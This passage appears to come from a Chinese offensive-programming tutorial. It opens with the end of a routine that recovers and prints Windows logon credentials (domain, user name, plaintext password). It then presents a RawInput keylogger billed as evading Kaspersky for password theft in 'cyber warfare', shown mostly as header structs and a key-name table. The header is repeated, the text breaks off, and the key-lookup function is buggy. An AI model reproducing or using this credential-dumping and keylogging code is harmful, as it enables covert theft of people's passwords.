- BOOL Viewable = TRUE;
- DWORD j, k;
- for (j = 0; (j < PasswordLength) && Viewable; j++)
- {
- if ((*p)
- &&
- (* (PBYTE)(DWORD (p) + 1) == 0))
- {
- if (*p < 0x20)
- Viewable = FALSE;
- if (*p > 0x7e)
- Viewable = FALSE;
- //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了
- }
- else
- Viewable = FALSE;
- k = DWORD (p);
- k++; k++;
- p = (PBYTE) k;
- }
- if (Viewable)
- {
- printf
- ("The logon information is: %S/%S/%S.\n",
- UserDomain,
- UserName,
- EncodedString.Buffer);
- printf
- ("The hash byte is: 0x%2.2x.\n",
- i);
- }
- }
- HeapFree
- (GetProcessHeap (),
- 0,
- EncodedString.Buffer);
- }
(6)穿透卡巴斯基的键盘记录编程-网络战技术
在国家之间的网络战争中,窃取密码是个很重要的事情。
而密码往往是键盘输入的。利用原始设备输入变化RawInput 实现键盘记录,并穿透最牛的杀毒软件卡巴斯基。
引用外国人的原始设备输入变化的类。请柬代码与详细注解。
- #ifndef _RAWINPUT_H
- #define _RAWINPUT_H
- #include <windows.h>
- /*
- * The input is in the regular message flow,
- * the app is required to call DefWindowProc
- * so that the system can perform clean ups.
- */
- #define RIM_INPUT 0
- /*
- * The input is sink only. The app is expected
- * to behave nicely.
- */
- #define RIM_INPUTSINK 1
- /*
- * Raw Input data header
- */
- typedef struct tagRAWINPUTHEADER {
- DWORD dwType;
- DWORD dwSize;
- HANDLE hDevice;
- WPARAM wParam;
- } RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;
- /*
- * Type of the raw input
- */
- #define RIM_TYPEMOUSE 0
- #define RIM_TYPEKEYBOARD 1
- #define RIM_TYPEHID 2
- /*
- * Raw format of the mouse input
- */
- typedef struct tagRAWMOUSE {
- /*
- * Indicator flags.
- */
- USHORT usFlags;
- /*
- * The transition state of the mouse buttons.
- */
- union {
- ULONG ulButtons;
- struct {
- USHORT usButtonFlags;
- USHORT usButtonData;
- };
- };
- /*
- * The raw state of the mouse buttons.
- */
- ULONG ulRawButtons;
- /*
- * The signed relative or absolute motion in the X direction.
- */
- LONG lLastX;
- /*
- * The signed relative or absolute motion in the Y direction.
- */
- LONG lLastY;
- /*
- * Device-specific additional information for the event.
- */
- ULONG ulExtraInformation;
- } RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;
- /*
- * Define the mouse button state indicators.
- */
- #define RI_MOUSE_LEFT_BUTTON_DOWN 0x0001 // Left Button changed to down.
- #define RI_MOUSE_LEFT_BUTTON_UP 0x0002 // Left Button changed to up.
- #define RI_MOUSE_RIGHT_BUTTON_DOWN 0x0004 // Right Button changed to down.
- #define RI_MOUSE_RIGHT_BUTTON_UP 0x0008 // Right Button changed to up.
- #define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010 // Middle Button changed to down.
- #define RI_MOUSE_MIDDLE_BUTTON_UP 0x0020 // Middle Button changed to up.
- #define RI_MOUSE_BUTTON_1_DOWN RI_MOUSE_LEFT_BUTTON_DOWN
- #define RI_MOUSE_BUTTON_1_UP RI_MOUSE_LEFT_BUTTON_UP
- #define RI_MOUSE_BUTTON_2_DOWN RI_MOUSE_RIGHT_BUTTON_DOWN
- #define RI_MOUSE_BUTTON_2_UP RI_MOUSE_RIGHT_BUTTON_UP
- #define RI_MOUSE_BUTTON_3_DOWN RI_MOUSE_MIDDLE_BUTTON_DOWN
- #define RI_MOUSE_BUTTON_3_UP RI_MOUSE_MIDDLE_BUTTON_UP
- #define RI_MOUSE_BUTTON_4_DOWN 0x0040
- #define RI_MOUSE_BUTTON_4_UP 0x0080
- #define RI_MOUSE_BUTTON_5_DOWN 0x0100
- #define RI_MOUSE_BUTTON_5_UP 0x0200
- /*
- * If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData.
- * Take it as a signed value.
- */
- #define RI_MOUSE_WHEEL 0x0400
- /*
- * Define the mouse indicator flags.
- */
- #define MOUSE_MOVE_RELATIVE 0
- #define MOUSE_MOVE_ABSOLUTE 1
- #define MOUSE_VIRTUAL_DESKTOP 0x02 // the coordinates are mapped to the virtual desktop
- #define MOUSE_ATTRIBUTES_CHANGED 0x04 // requery for mouse attributes
- /*
- * Raw format of the keyboard input
- */
- typedef struct tagRAWKEYBOARD {
- /*
- * The "make" scan code (key depression).
- */
- USHORT MakeCode;
- /*
- * The flags field indicates a "break" (key release) and other
- * miscellaneous scan code information defined in ntddkbd.h.
- */
- USHORT Flags;
- USHORT Reserved;
- /*
- * Windows message compatible information
- */
- USHORT VKey;
- UINT Message;
- /*
- * Device-specific additional information for the event.
- */
- ULONG ExtraInformation;
- } RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;
- /*
- * Define the keyboard overrun MakeCode.
- */
- #define KEYBOARD_OVERRUN_MAKE_CODE 0xFF
- /*
- * Define the keyboard input data Flags.
- */
- #define RI_KEY_MAKE 0
- #define RI_KEY_BREAK 1
- #define RI_KEY_E0 2
- #define RI_KEY_E1 4
- #define RI_KEY_TERMSRV_SET_LED 8
- #define RI_KEY_TERMSRV_SHADOW 0x10
- /*
- * Raw format of the input from Human Input Devices
- */
- typedef struct tagRAWHID {
- DWORD dwSizeHid; // byte size of each report
- DWORD dwCount; // number of input packed
- BYTE bRawData[1];
- } RAWHID, *PRAWHID, *LPRAWHID;
- /*
- * RAWINPUT data structure.
- */
- typedef struct tagRAWINPUT {
- RAWINPUTHEADER header;
- union {
- RAWMOUSE mouse;
- RAWKEYBOARD keyboard;
- RAWHID hid;
- } data;
- } RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
- /*
- * Flags for GetRawInputData
- */
- #define RID_INPUT 0x10000003
- #define RID_HEADER 0x10000005
- typedef struct HRAWINPUT__ * HRAWINPUT;
- typedef
- UINT
- (_stdcall * PGetRawInputData)(
- HRAWINPUT hRawInput,
- UINT uiCommand,
- LPVOID pData,
- PUINT pcbSize,
- UINT cbSizeHeader
- );
- /*
- * Raw Input Device Information
- */
- #define RIDI_PREPARSEDDATA 0x20000005
- #define RIDI_DEVICENAME 0x20000007 // the return valus is the character length, not the byte size
- #define RIDI_DEVICEINFO 0x2000000b
- typedef struct tagRID_DEVICE_INFO_MOUSE {
- DWORD dwId;
- DWORD dwNumberOfButtons;
- DWORD dwSampleRate;
- } RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;
- typedef struct tagRID_DEVICE_INFO_KEYBOARD {
- DWORD dwType;
- DWORD dwSubType;
- DWORD dwKeyboardMode;
- DWORD dwNumberOfFunctionKeys;
- DWORD dwNumberOfIndicators;
- DWORD dwNumberOfKeysTotal;
- } RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;
- typedef struct tagRID_DEVICE_INFO_HID {
- DWORD dwVendorId;
- DWORD dwProductId;
- DWORD dwVersionNumber;
- /*
- * Top level collection UsagePage and Usage
- */
- USHORT usUsagePage;
- USHORT usUsage;
- } RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;
- typedef struct tagRID_DEVICE_INFO {
- DWORD cbSize;
- DWORD dwType;
- union {
- RID_DEVICE_INFO_MOUSE mouse;
- RID_DEVICE_INFO_KEYBOARD keyboard;
- RID_DEVICE_INFO_HID hid;
- };
- } RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;
- typedef
- UINT
- (_stdcall * PGetRawInputDeviceInfoA)(
- HANDLE hDevice,
- UINT uiCommand,
- LPVOID pData,
- PUINT pcbSize
- );
- typedef
- UINT
- (_stdcall * PGetRawInputDeviceInfoW)(
- HANDLE hDevice,
- UINT uiCommand,
- LPVOID pData,
- PUINT pcbSize
- );
- /*
- * Raw Input Bulk Read: GetRawInputBuffer
- */
- typedef
- UINT
- (_stdcall * PGetRawInputBuffer)(
- PRAWINPUT pData,
- PUINT pcbSize,
- UINT cbSizeHeader
- );
- /*
- * Raw Input request APIs
- */
- typedef struct tagRAWINPUTDEVICE {
- USHORT usUsagePage; // Toplevel collection UsagePage
- USHORT usUsage; // Toplevel collection Usage
- DWORD dwFlags;
- HWND hwndTarget; // Target hwnd. NULL = follows keyboard focus
- } RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;
- typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;
- #define RIDEV_REMOVE 0x00000001
- #define RIDEV_EXCLUDE 0x00000010
- #define RIDEV_PAGEONLY 0x00000020
- #define RIDEV_NOLEGACY 0x00000030
- #define RIDEV_INPUTSINK 0x00000100
- #define RIDEV_CAPTUREMOUSE 0x00000200 // effective when mouse nolegacy is specified, otherwise it would be an error
- #define RIDEV_NOHOTKEYS 0x00000200 // effective for keyboard.
- #define RIDEV_APPKEYS 0x00000400 // effective for keyboard.
- #define RIDEV_EXMODEMASK 0x000000F0
- #define RIDEV_EXMODE(mode) ((mode) & RIDEV_EXMODEMASK)
- typedef
- BOOL
- (_stdcall * PRegisterRawInputDevices)(
- PCRAWINPUTDEVICE pRawInputDevices,
- UINT uiNumDevices,
- UINT cbSize
- );
- typedef
- UINT
- (_stdcall * PGetRegisteredRawInputDevices)(
- PRAWINPUTDEVICE pRawInputDevices,
- PUINT puiNumDevices,
- UINT cbSize
- );
- typedef struct tagRAWINPUTDEVICELIST {
- HANDLE hDevice;
- DWORD dwType;
- } RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;
- typedef
- UINT
- (_stdcall * PGetRawInputDeviceList)(
- PRAWINPUTDEVICELIST pRawInputDeviceList,
- PUINT puiNumDevices,
- UINT cbSize);
- typedef
- LRESULT
- (_stdcall * PDefRawInputProc)(
- PRAWINPUT *paRawInput,
- INT nInput,
- UINT cbSizeHeader
- );
- #define WM_INPUT 0x00ff
- #endif
- #ifndef _VKEY_H
- #define _VKEY_H
- struct VKeyInfo{
- USHORT VKey;
- LPCSTR VKname;
- };
- #define AddVKey(VK, VKName) {(VK), (VKName)}
- static VKeyInfo vkis[] = {
- AddVKey(VK_LBUTTON, "Left mouse button"),
- AddVKey(VK_RBUTTON, "Right mouse button"),
- AddVKey(VK_CANCEL, "Control-break processing"),
- AddVKey(0x04, "[Middle mouse button (three-button mouse]"),
- AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
- AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
- AddVKey(0x07, "Undefined"),
- AddVKey(VK_BACK, "[BACKSPACE]"),
- AddVKey(VK_TAB, "[TAB]"),
- AddVKey(0x0A, "Reserved"),
- AddVKey(0x0B, "Reserved"),
- AddVKey(VK_CLEAR, "[CLEAR]"),
- AddVKey(VK_RETURN, "[ENTER]"),
- AddVKey(0x0E, "Undefined"),
- AddVKey(0x0F, "Undefined"),
- AddVKey(VK_SHIFT, "[SHIFT]"),
- AddVKey(VK_CONTROL, "[CTRL]"),
- AddVKey(VK_MENU, "[ALT]"),
- AddVKey(VK_PAUSE, "[PAUSE]"),
- AddVKey(VK_CAPITAL, "[caps lock]"),
- AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
- AddVKey(VK_HANGUL, "IME Hangul mode"),
- AddVKey(0x16, "Undefined"),
- AddVKey(VK_JUNJA, "IME Junja mode"),
- AddVKey(VK_FINAL, "IME final mode"),
- AddVKey(VK_HANJA, "IME Hanja mode"),
- AddVKey(VK_KANJI, "IME Kanji mode"),
- AddVKey(0x1A, "Undefined"),
- AddVKey(VK_ESCAPE, "[ESC]"),
- AddVKey(VK_CONVERT, "IME convert"),
- AddVKey(VK_NONCONVERT, "IME nonconvert"),
- AddVKey(VK_ACCEPT, "IME accept"),
- AddVKey(VK_MODECHANGE, "IME mode change request"),
- AddVKey(VK_SPACE, "[space]"),
- AddVKey(VK_PRIOR, "[PAGE UP]"),
- AddVKey(VK_NEXT, "[PAGE DOWN]"),
- AddVKey(VK_END, "[END]"),
- AddVKey(VK_HOME, "[HOME]"),
- AddVKey(VK_LEFT, "[LEFT ARROW]"),
- AddVKey(VK_UP, "[UP ARROW]"),
- AddVKey(VK_RIGHT, "[RIGHT ARROW]"),
- AddVKey(VK_DOWN, "[DOWN ARROW]"),
- AddVKey(VK_SELECT, "[SELECT]"),
- AddVKey(VK_PRINT, "[PRINT]"),
- AddVKey(VK_EXECUTE, "[EXECUTE]"),
- AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),
- AddVKey(VK_INSERT, "[INSERT]"),
- AddVKey(VK_DELETE, "[DEL]"),
- AddVKey(VK_HELP, "[HELP]"),
- AddVKey(0x30, "0"),
- AddVKey(0x31, "1"),
- AddVKey(0x32, "2"),
- AddVKey(0x33, "3"),
- AddVKey(0x34, "4"),
- AddVKey(0x35, "5"),
- AddVKey(0x36, "6"),
- AddVKey(0x37, "7"),
- AddVKey(0x38, "8"),
- AddVKey(0x39, "9"),
- AddVKey(0x3A, "Undefined"),
- AddVKey(0x3B, "Undefined"),
- AddVKey(0x3C, "Undefined"),
- AddVKey(0x3D, "Undefined"),
- AddVKey(0x3E, "Undefined"),
- AddVKey(0x3F, "Undefined"),
- AddVKey(0x40, "Undefined"),
- AddVKey(0x41, "a"),
- AddVKey(0x42, "b"),
- AddVKey(0x43, "c"),
- AddVKey(0x44, "d"),
- AddVKey(0x45, "e"),
- AddVKey(0x46, "f"),
- AddVKey(0x47, "g"),
- AddVKey(0x48, "h"),
- AddVKey(0x49, "i"),
- AddVKey(0x4A, "j"),
- AddVKey(0x4B, "k"),
- AddVKey(0x4C, "l"),
- AddVKey(0x4D, "m"),
- AddVKey(0x4E, "n"),
- AddVKey(0x4F, "o"),
- AddVKey(0x50, "p"),
- AddVKey(0x51, "q"),
- AddVKey(0x52, "r"),
- AddVKey(0x53, "s"),
- AddVKey(0x54, "t"),
- AddVKey(0x55, "u"),
- AddVKey(0x56, "v"),
- AddVKey(0x57, "w"),
- AddVKey(0x58, "x"),
- AddVKey(0x59, "y"),
- AddVKey(0x5A, "z"),
- AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
- AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
- AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
- AddVKey(0x5E, "Reserved"),
- AddVKey(VK_SLEEP, "Computer Sleep key"),
- AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
- AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
- AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
- AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
- AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
- AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
- AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
- AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
- AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
- AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
- AddVKey(VK_MULTIPLY, "Multiply key"),
- AddVKey(VK_ADD, "Add key"),
- AddVKey(VK_SEPARATOR, "Separator key"),
- AddVKey(VK_SUBTRACT, "Subtract key"),
- AddVKey(VK_DECIMAL, "Decimal key"),
- AddVKey(VK_DIVIDE, "Divide key"),
- AddVKey(VK_F1, "[F1]"),
- AddVKey(VK_F2, "[F2]"),
- AddVKey(VK_F3, "[F3]"),
- AddVKey(VK_F4, "[F4]"),
- AddVKey(VK_F5, "[F5]"),
- AddVKey(VK_F6, "[F6]"),
- AddVKey(VK_F7, "[F7]"),
- AddVKey(VK_F8, "[F8]"),
- AddVKey(VK_F9, "[F9]"),
- AddVKey(VK_F10, "[F10]"),
- AddVKey(VK_F11, "[F11]"),
- AddVKey(VK_F12, "[F12]"),
- AddVKey(VK_F13, "[F13]"),
- AddVKey(VK_F14, "[F14]"),
- AddVKey(VK_F15, "[F15]"),
- AddVKey(VK_F16, "[F16]"),
- AddVKey(VK_F17, "[F17]"),
- AddVKey(VK_F18, "[F18]"),
- AddVKey(VK_F19, "[F19]"),
- AddVKey(VK_F20, "[F20]"),
- AddVKey(VK_F21, "[F21]"),
- AddVKey(VK_F22, "[F22]"),
- AddVKey(VK_F23, "[F23]"),
- AddVKey(VK_F24, "[F24]"),
- AddVKey(0x88, "Unassigned"),
- AddVKey(0x89, "Unassigned"),
- AddVKey(0x8A, "Unassigned"),
- AddVKey(0x8B, "Unassigned"),
- AddVKey(0x8C, "Unassigned"),
- AddVKey(0x8D, "Unassigned"),
- AddVKey(0x8E, "Unassigned"),
- AddVKey(0x8F, "Unassigned"),
- AddVKey(VK_NUMLOCK, "[NUM LOCK]"),
- AddVKey(VK_SCROLL, "[SCROLL LOCK]"),
- AddVKey(0x92, "OEM specific"),
- AddVKey(0x93, "OEM specific"),
- AddVKey(0x94, "OEM specific"),
- AddVKey(0x95, "OEM specific"),
- AddVKey(0x96, "OEM specific"),
- AddVKey(0x97, "Unassigned"),
- AddVKey(0x98, "Unassigned"),
- AddVKey(0x99, "Unassigned"),
- AddVKey(0x9A, "Unassigned"),
- AddVKey(0x9B, "Unassigned"),
- AddVKey(0x9C, "Unassigned"),
- AddVKey(0x9D, "Unassigned"),
- AddVKey(0x9E, "Unassigned"),
- AddVKey(0x9F, "Unassigned"),
- AddVKey(VK_LSHIFT, "[Left SHIFT ]"),
- AddVKey(VK_RSHIFT, "[Right SHIFT]"),
- AddVKey(VK_LCONTROL, "[Left CONTROL]"),
- AddVKey(VK_RCONTROL, "[Right CONTROL]"),
- AddVKey(VK_LMENU, "Left MENU key"),
- AddVKey(VK_RMENU, "Right MENU key"),
- AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
- AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
- AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
- AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
- AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
- AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
- AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
- AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
- AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
- AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
- AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
- AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
- AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
- AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
- AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
- AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
- AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
- AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
- AddVKey(0xB8, "Reserved"),
- AddVKey(0xB9, "Reserved"),
- AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
- AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
- AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
- AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
- AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
- AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
- AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
- AddVKey(0xC1, "Reserved"),
- AddVKey(0xC2, "Reserved"),
- AddVKey(0xC3, "Reserved"),
- AddVKey(0xC4, "Reserved"),
- AddVKey(0xC5, "Reserved"),
- AddVKey(0xC6, "Reserved"),
- AddVKey(0xC7, "Reserved"),
- AddVKey(0xC8, "Reserved"),
- AddVKey(0xC9, "Reserved"),
- AddVKey(0xCA, "Reserved"),
- AddVKey(0xCB, "Reserved"),
- AddVKey(0xCC, "Reserved"),
- AddVKey(0xCD, "Reserved"),
- AddVKey(0xCE, "Reserved"),
- AddVKey(0xCF, "Reserved"),
- AddVKey(0xD0, "Reserved"),
- AddVKey(0xD1, "Reserved"),
- AddVKey(0xD2, "Reserved"),
- AddVKey(0xD3, "Reserved"),
- AddVKey(0xD4, "Reserved"),
- AddVKey(0xD5, "Reserved"),
- AddVKey(0xD6, "Reserved"),
- AddVKey(0xD7, "Reserved"),
- AddVKey(0xD8, "Unassigned"),
- AddVKey(0xD9, "Unassigned"),
- AddVKey(0xDA, "Unassigned"),
- AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
- AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
- AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
- AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
- "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),
- AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
- AddVKey(0xE0, "Reserved"),
- AddVKey(0xE1, "OEM specific"),
- AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
- AddVKey(0xE3, "OEM specific"),
- AddVKey(0xE4, "OEM specific"),
- AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
- AddVKey(0xE6, "OEM specific"),
- AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
- AddVKey(0xE8, "Unassigned"),
- AddVKey(0xE9, "OEM specific"),
- AddVKey(0xEA, "OEM specific"),
- AddVKey(0xEB, "OEM specific"),
- AddVKey(0xEC, "OEM specific"),
- AddVKey(0xED, "OEM specific"),
- AddVKey(0xEF, "OEM specific"),
- AddVKey(0xF0, "OEM specific"),
- AddVKey(0xF1, "OEM specific"),
- AddVKey(0xF2, "OEM specific"),
- AddVKey(0xF3, "OEM specific"),
- AddVKey(0xF4, "OEM specific"),
- AddVKey(0xF5, "OEM specific"),
- AddVKey(VK_ATTN, "Attn key"),
- AddVKey(VK_CRSEL, "CrSel key"),
- AddVKey(VK_EXSEL, "ExSel key"),
- AddVKey(VK_EREOF, "Erase EOF key"),
- AddVKey(VK_PLAY, "Play key"),
- AddVKey(VK_ZOOM, "Zoom key"),
- AddVKey(VK_NONAME, "Reserved"),
- AddVKey(VK_PA1, "PA1 key"),
- AddVKey(VK_OEM_CLEAR, "Clear key"),
- AddVKey(0xFF, "Unknown Virtual-Key Code")
- };
- LPCSTR GetKeyName(USHORT VKey)
- {
- for(int i = 0; i < sizeof(vkis); i++)
- {
- if(VKey == vkis[i].VKey)
- return vkis[i].VKname;
- }
- return vkis[--i].VKname;
- }
- #endif
#ifndef _RAWINPUT_H
#define _RAWINPUT_H
#include <windows.h>
/*
* The input is in the regular message flow,
* the app is required to call DefWindowProc
* so that the system can perform clean ups.
*/
#define RIM_INPUT 0
/*
* The input is sink only. The app is expected
* to behave nicely.
*/
#define RIM_INPUTSINK 1
/*
* Raw Input data header
*/
typedef struct tagRAWINPUTHEADER {
DWORD dwType;
DWORD dwSize;
HANDLE hDevice;
WPARAM wParam;
} RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;
/*
* Type of the raw input
*/
#define RIM_TYPEMOUSE 0
#define RIM_TYPEKEYBOARD 1
#define RIM_TYPEHID 2
/*
* Raw format of the mouse input
*/
typedef struct tagRAWMOUSE {
/*
* Indicator flags.
*/
USHORT usFlags;
/*
* The transition state of the mouse buttons.
*/
union {
ULONG ulButtons;
struct {
USHORT usButtonFlags;
USHORT usButtonData;
};
};
/*
* The raw state of the mouse buttons.
*/
ULONG ulRawButtons;
/*
* The signed relative or absolute motion in the X direction.
*/
LONG lLastX;
/*
* The signed relative or absolute motion in the Y direction.
*/
LONG lLastY;
/*
* Device-specific additional information for the event.
*/
ULONG ulExtraInformation;
} RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;
/*
* Define the mouse button state indicators.
*/
#define RI_MOUSE_LEFT_BUTTON_DOWN 0x0001 // Left Button changed to down.
#define RI_MOUSE_LEFT_BUTTON_UP 0x0002 // Left Button changed to up.
#define RI_MOUSE_RIGHT_BUTTON_DOWN 0x0004 // Right Button changed to down.
#define RI_MOUSE_RIGHT_BUTTON_UP 0x0008 // Right Button changed to up.
#define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010 // Middle Button changed to down.
#define RI_MOUSE_MIDDLE_BUTTON_UP 0x0020 // Middle Button changed to up.
#define RI_MOUSE_BUTTON_1_DOWN RI_MOUSE_LEFT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_1_UP RI_MOUSE_LEFT_BUTTON_UP
#define RI_MOUSE_BUTTON_2_DOWN RI_MOUSE_RIGHT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_2_UP RI_MOUSE_RIGHT_BUTTON_UP
#define RI_MOUSE_BUTTON_3_DOWN RI_MOUSE_MIDDLE_BUTTON_DOWN
#define RI_MOUSE_BUTTON_3_UP RI_MOUSE_MIDDLE_BUTTON_UP
#define RI_MOUSE_BUTTON_4_DOWN 0x0040
#define RI_MOUSE_BUTTON_4_UP 0x0080
#define RI_MOUSE_BUTTON_5_DOWN 0x0100
#define RI_MOUSE_BUTTON_5_UP 0x0200
/*
* If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData.
* Take it as a signed value.
*/
#define RI_MOUSE_WHEEL 0x0400
/*
* Define the mouse indicator flags.
*/
#define MOUSE_MOVE_RELATIVE 0
#define MOUSE_MOVE_ABSOLUTE 1
#define MOUSE_VIRTUAL_DESKTOP 0x02 // the coordinates are mapped to the virtual desktop
#define MOUSE_ATTRIBUTES_CHANGED 0x04 // requery for mouse attributes
/*
* Raw format of the keyboard input
*/
typedef struct tagRAWKEYBOARD {
/*
* The "make" scan code (key depression).
*/
USHORT MakeCode;
/*
* The flags field indicates a "break" (key release) and other
* miscellaneous scan code information defined in ntddkbd.h.
*/
USHORT Flags;
USHORT Reserved;
/*
* Windows message compatible information
*/
USHORT VKey;
UINT Message;
/*
* Device-specific additional information for the event.
*/
ULONG ExtraInformation;
} RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;
/*
* Define the keyboard overrun MakeCode.
*/
#define KEYBOARD_OVERRUN_MAKE_CODE 0xFF
/*
* Define the keyboard input data Flags.
*/
#define RI_KEY_MAKE 0
#define RI_KEY_BREAK 1
#define RI_KEY_E0 2
#define RI_KEY_E1 4
#define RI_KEY_TERMSRV_SET_LED 8
#define RI_KEY_TERMSRV_SHADOW 0x10
/*
* Raw format of the input from Human Input Devices
*/
typedef struct tagRAWHID {
DWORD dwSizeHid; // byte size of each report
DWORD dwCount; // number of input packed
BYTE bRawData[1];
} RAWHID, *PRAWHID, *LPRAWHID;
/*
* RAWINPUT data structure.
*/
typedef struct tagRAWINPUT {
RAWINPUTHEADER header;
union {
RAWMOUSE mouse;
RAWKEYBOARD keyboard;
RAWHID hid;
} data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
/*
* Flags for GetRawInputData
*/
#define RID_INPUT 0x10000003
#define RID_HEADER 0x10000005
typedef struct HRAWINPUT__ * HRAWINPUT;
typedef
UINT
(_stdcall * PGetRawInputData)(
HRAWINPUT hRawInput,
UINT uiCommand,
LPVOID pData,
PUINT pcbSize,
UINT cbSizeHeader
);
/*
* Raw Input Device Information
*/
#define RIDI_PREPARSEDDATA 0x20000005
#define RIDI_DEVICENAME 0x20000007 // the return valus is the character length, not the byte size
#define RIDI_DEVICEINFO 0x2000000b
typedef struct tagRID_DEVICE_INFO_MOUSE {
DWORD dwId;
DWORD dwNumberOfButtons;
DWORD dwSampleRate;
} RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;
typedef struct tagRID_DEVICE_INFO_KEYBOARD {
DWORD dwType;
DWORD dwSubType;
DWORD dwKeyboardMode;
DWORD dwNumberOfFunctionKeys;
DWORD dwNumberOfIndicators;
DWORD dwNumberOfKeysTotal;
} RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;
typedef struct tagRID_DEVICE_INFO_HID {
DWORD dwVendorId;
DWORD dwProductId;
DWORD dwVersionNumber;
/*
* Top level collection UsagePage and Usage
*/
USHORT usUsagePage;
USHORT usUsage;
} RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;
typedef struct tagRID_DEVICE_INFO {
DWORD cbSize;
DWORD dwType;
union {
RID_DEVICE_INFO_MOUSE mouse;
RID_DEVICE_INFO_KEYBOARD keyboard;
RID_DEVICE_INFO_HID hid;
};
} RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;
typedef
UINT
(_stdcall * PGetRawInputDeviceInfoA)(
HANDLE hDevice,
UINT uiCommand,
LPVOID pData,
PUINT pcbSize
);
typedef
UINT
(_stdcall * PGetRawInputDeviceInfoW)(
HANDLE hDevice,
UINT uiCommand,
LPVOID pData,
PUINT pcbSize
);
/*
* Raw Input Bulk Read: GetRawInputBuffer
*/
typedef
UINT
(_stdcall * PGetRawInputBuffer)(
